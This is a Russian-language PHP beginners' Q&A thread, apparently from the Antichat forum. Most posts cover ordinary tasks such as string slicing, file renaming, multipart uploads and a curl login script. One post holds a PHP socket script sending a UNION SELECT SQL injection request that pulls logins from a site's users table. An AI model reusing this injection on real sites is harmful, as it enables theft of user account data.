[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Linuxoid

    Linuxoid Elder - Старейшина

    Joined:
    13 Feb 2007
    Messages:
    200
    Likes Received:
    28
    Reputations:
    0
    Подскажите пожалуйста... Вот не знаю, как это делать, думаю можно даже регулярками, но не знаю как. :)
    Есть строка, абсолютно любая. Надо отрезать последние Х символов этой строки и загнать их в переменную. Как?
     
  2. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Linuxoid,
    PHP:
    $n=6//сколько символов отрезать
    $str=substr('твоя строка',-$n);

    Кубик Рубик,
     
    #11402 d_x, 27 Aug 2009
    Last edited: 27 Aug 2009
    1 person likes this.
  3. St0nX

    St0nX Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    257
    Likes Received:
    46
    Reputations:
    0
    PHP:
    <?php
    $fp 
    fsockopen ("www.xxx.ru"80$errno$errstr30);
            if (!
    $fp) {
    } else { 
    fputs($fp,"GET /next.php?id=5+union+select+1,2,login%20FROM%20pb_users%20limit%200,1%20-- HTTP/1.1/r/nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*/r/nAccept-Language: ru/r/nAccept-Encoding: gzip, deflate/r/nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)/r/nHost: www.xxx.ru/r/nConnection: Keep-Alive/r/n/r/n");
            while (!
    feof($fp)) {
                
    $fp2 .=  fgets ($fp,128);
            }
            
    fclose ($fp);
           echo 
    $fp2
    }
    ?>
    Запрос возвращает 400 Bad Request. Сам текст запроса со снифера. В чем может быть проблема?
     
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    может быть не те заголовки передаешь, сделай такой же запрос в FF + Tamper Data тебе всё расскажет
     
    1 person likes this.
  5. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    у меня вопрос такого плана:
    хочу реализовать удаленное создание файлов на сервере, то есть на локал хосте я запускаю скрипт, он отправляет запрос на сервер, в данном случае это название файла и его содержимое(требуется создание файлов .html .txt .php)
    пробывал эту информацию передавать POST'ом, открывал файлы обычно:
    $fp = fopen("qwe.txt","r");
    $dat = fwrite($fp, filesize("qwe.txt"));//это довольно грубый пример, в скрипте все открывалось циклом.
    отправлял, отправлялось, но скрипт который должен получить переменные $name и $dat последняя переменная доходила очень сильно измененной, так вот собственно и вопрос:
    как нормально передать, метод расматриваемый выше не думаю что будет рациональным решением моей проблемы, что кто посоветует????
     
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    делать тоже самое по фтп и не парить мозг, создавать файлы на сервере, да к тому же включая .php, через php-скрипт-приемник просто небезопасно и чревато, а через фтп потребуется лишь локальный скрипт в пять строчек
     
  7. Insane bboy

    Insane bboy New Member

    Joined:
    11 Jul 2009
    Messages:
    52
    Likes Received:
    3
    Reputations:
    0
    а если нет доступа к фтп???:))
    и чем это чревато?о0
    тем более это расматривается для разового, единичного пользования, а не для ежедневной работы с файлами
     
    #11407 Insane bboy, 28 Aug 2009
    Last edited: 28 Aug 2009
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ну тогда можно например через fsockopen

    http://ru.php.net/fsockopen

    PHP:
    Lots of tries and lots of reading http-headers...

    If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.

    <?php
            
    // get the necessary data
            
    $file_name $_FILES['userfile']['name'];     // the file
            
    $tmp_name $_FILES['userfile']['tmp_name'];     // the file
            
    $content_type $_FILES['userfile']['type'];     // the file mime type
            
            
    srand((double)microtime()*1000000);
            
    $boundary "---------------------".substr(md5(rand(0,32000)),0,10);
            
            
    // Build the header
            
    $header "POST $remote_url HTTP/1.0\r\n";
            
    $header .= "Host: $remote_server\r\n";
            
    $header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
            
    // attach post vars
            
    foreach($_POST AS $index => $value){
                
    $data .="--$boundary\r\n";
                
    $data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
                
    $data .= "\r\n".$value."\r\n";
                
    $data .="--$boundary\r\n";
            }
            
    // and attach the file
            
    $data .= "--$boundary\r\n";
            
    $content_file join(""file($tmp_name));
            
    $data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
            
    $data .= "Content-Type: $content_type\r\n\r\n";
            
    $data .= "".$content_file."\r\n";
            
    $data .="--$boundary--\r\n";
            
    $header .= "Content-length: " strlen($data) . "\r\n\r\n";
                     
    // Open the connection
            
    $fp fsockopen($remote_server80);
            
    // then just 
            
    fputs($fp$header.$data);
            
    fclose($fp);
    ?>
    предварительно создав на удаленном хосте скрипт загрузки файлов на сервер через обычную форму
     
    1 person likes this.
  9. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Как можно сделать вывод логов в реальном времени ?

    Пример:
    PHP:
    for($i 0$i 10$i++)
     {
       echo 
    $i;
       
    sleep(60);
      }
    Мне нужно вывести $i, подождать 60 секунд, очистить экран и вывести $i и тд.
     
  10. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Есть куууча файлов xxxxxxx.htm (более 60к файлов)
    Они раскиданы по папкам на находятся все в 1 основной
    Как-то надо все переименовать с префиксом ru_xxxxx.htm
     
  11. Gray_Wolf

    Gray_Wolf Active Member

    Joined:
    7 Mar 2009
    Messages:
    377
    Likes Received:
    135
    Reputations:
    10
    Давно пора свыкнуться с мыслью что написать демона на ПХП невозможно...

    Так-что либо пишем его на другом языке, либо юзаем крон.
     
    1 person likes this.
  12. crazy~driver

    crazy~driver Member

    Joined:
    21 Dec 2008
    Messages:
    97
    Likes Received:
    14
    Reputations:
    4
    ПОМОГОИТЕ: хостинг блокирует функцию mail в php для халявных акков
    есть ли в php еще какие-нидь функции для отсылки почты или как можно решить эту проблему?
    з.ы. сменить хостинг не предлагать-)
     
  13. Вася Рогов

    Вася Рогов New Member

    Joined:
    6 Jul 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    подкиньте код, который логиница на сайте майл.ру (http://win.mail.ru/cgi-bin/auth)
     
  14. RedBull@12

    RedBull@12 Elder - Старейшина

    Joined:
    5 Nov 2006
    Messages:
    121
    Likes Received:
    21
    Reputations:
    5
    вроде тема называется "
    PHP:
     Новичкамзадаем вопросы"...а не "скиньте мне код"...пиши сам, если что поможем.
     
    1 person likes this.
  15. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,174
    Likes Received:
    1,157
    Reputations:
    202
    Елементарный курл с постом:
    page=&post=&login_from=&Login=qwe&Domain=mail.ru&Password=ewwqwe

    PHP:
    <?php
    $url 
    'http://win.mail.ru/cgi-bin/auth';
    $ua 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4';
    $post 'page=&post=&login_from=&Login=b3pinchsend&Domain=mail.ru&Password=123';

    $ch curl_init($url);
    curl_setopt($chCURLOPT_USERAGENT$ua);
    curl_setopt($chCURLOPT_COOKIEJAR'./cook.txt');
    curl_setopt($chCURLOPT_COOKIEFILE'./cook.txt');
    curl_setopt($chCURLOPT_REFERER$url);
    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    curl_setopt($chCURLOPT_RETURNTRANSFER0);
    $res curl_exec($ch);
    ?>
     
    #11415 b3, 28 Aug 2009
    Last edited: 28 Aug 2009
    2 people like this.
  16. Вася Рогов

    Вася Рогов New Member

    Joined:
    6 Jul 2009
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
     
  17. RedBull@12

    RedBull@12 Elder - Старейшина

    Joined:
    5 Nov 2006
    Messages:
    121
    Likes Received:
    21
    Reputations:
    5
    на каком примере?сиди читай маны и прочее...тут не надо спрашивать как написать код, а если есть код. то можно спросить почему не работает при определнных условиях и т.д. "новичек" не означает что нужно тупо спрашивать весь код, нужно учиться и развиваться самому. а не просить других за тебя написать.

    p.s.: извиняюсь за оффтоп. и я не понимаю почему администрацией поощряются данные посты. АнтиЧат это то место где изучают какие-то мелочи, а не обычные всеми известные стандарты, которые должен знать каждый. еще раз извиняюсь за оффтоп, накипело читать хлам.
     
  18. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    кто тебе такое сказал?
    и по сабжу мб у Васи Рогова такой склад ума что на примере поймет быстрее ,чем по манам в которых в основном одна терминология.
    ПС не кипешуй.
     
  19. RedBull@12

    RedBull@12 Elder - Старейшина

    Joined:
    5 Nov 2006
    Messages:
    121
    Likes Received:
    21
    Reputations:
    5
    да я не кипишу. просто данную тему читать противно стало. один спрашивает как отрезать часть строки и запихнуть в переменную, второй спрашивает как написать элементарный curl или socket скрипт(по выбору) тема про mail.ru особенно про данный скрипт поднималась несколько недель назад(а именно http://forum.antichat.ru/showpost.php?p=1413647&postcount=11544), где человек аналогично порпосил- ему слили, тут второй. короче нет слов...обидно...да и по сабжу, данный персонаж могбы прочитать первую статью в учебнике про curl или socket и там рассматривать примеры, их в каждом учебнике до ушей....
    ладно хватит оффтопа..еще раз сорри за оффтоп...
     
    #11419 RedBull@12, 28 Aug 2009
    Last edited: 28 Aug 2009
    1 person likes this.
  20. Fuckel

    Fuckel Banned

    Joined:
    16 Jan 2008
    Messages:
    274
    Likes Received:
    59
    Reputations:
    6
    например, так
    скрипт кидать в основную папку
    PHP:
    <?php
    function rcrsv_path($path='./'){
        
    chdir(dirname(__FILE__).$path);
        foreach (
    glob("*") as $filename){
            if (
    is_dir($filename)){
                
    rcrsv_path($path.'/'.$filename);
                
    chdir(dirname(__FILE__).'/'.$path);
                
            }
            if (
    preg_match("/^ru_(.*)\.htm$/Ui",$filename,$match)){
                
    print_r($path.$match[0]);
            }
            
    flush();
        }
    }
    rcrsv_path();
    ?>
     
Thread Status:
Not open for further replies.